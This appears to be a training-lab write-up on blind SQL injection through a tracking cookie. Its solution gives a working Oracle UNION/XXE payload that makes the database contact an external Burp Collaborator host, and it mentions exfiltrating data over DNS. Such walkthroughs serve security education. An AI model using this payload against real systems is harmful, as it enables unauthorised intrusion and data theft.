Problem Statement :

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

Understanding –

You can trigger an out-of-band network interaction, using OAST techniques. This technique is extremely powerful and works in situations where the other techniques do not. Often, you can directly exfiltrate data via the out-of-band channel, for example by placing the data into a DNS lookup for a domain that you control.

https://portswigger.net/burp/application-security-testing/oast

‘+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0″+encoding%3d”UTF-8″%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//

cgwihkkm49dt3sgk9lufyyb6mxsngc.burpcollaborator.net/”>+%25remote%3b]>’),’/l’)+FROM+dual–

Solution –

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:
   TrackingId=x’+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0″+encoding%3d”UTF-8″%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//BURP-COLLABORATOR-SUBDOMAIN/”>+%25remote%3b]>’),’/l’)+FROM+dual–
3. Right-click and select “Insert Collaborator payload” to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie.

The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp Collaborator client to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We’ll go over this technique in the next lab.